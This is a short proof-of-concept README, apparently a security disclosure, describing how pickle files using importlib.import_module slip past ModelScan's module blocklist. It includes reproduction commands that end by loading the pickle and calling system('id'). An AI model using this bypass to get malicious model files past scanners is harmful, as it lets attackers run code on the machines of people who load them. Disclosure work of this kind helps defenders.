| # PoC: ModelScan Blocklist Bypass via importlib.import_module | |
| **Target:** protectai/modelscan | |
| **CWE:** CWE-693 (Protection Mechanism Failure) | |
| ## Vulnerability | |
| ModelScan's pickle scanner maintains a blocklist of 21 dangerous modules (os, subprocess, shutil, etc.). However, `importlib` is not on the blocklist. A pickle using `importlib.import_module('os')` bypasses all scanning and returns the full `os` module, enabling arbitrary code execution. | |
| The bypass defeats the entire blocklist — all 21 blocked modules can be imported via `importlib.import_module()` indirection. | |
| ## Files | |
| - `poc_importlib_bypass.pkl` — 36-byte bypass payload (scans clean) | |
| - `poc_importlib_bypass.py` — PoC generator script | |
| - `reproduce.sh` — Full reproduction script | |
| ## Quick Reproduce | |
| ```bash | |
| pip install modelscan | |
| python3 poc_importlib_bypass.py | |
| modelscan -p poc_importlib_bypass.pkl # "No issues found!" | |
| python3 -c "import pickle; m=pickle.load(open('poc_importlib_bypass.pkl','rb')); m.system('id')" | |
| ``` | |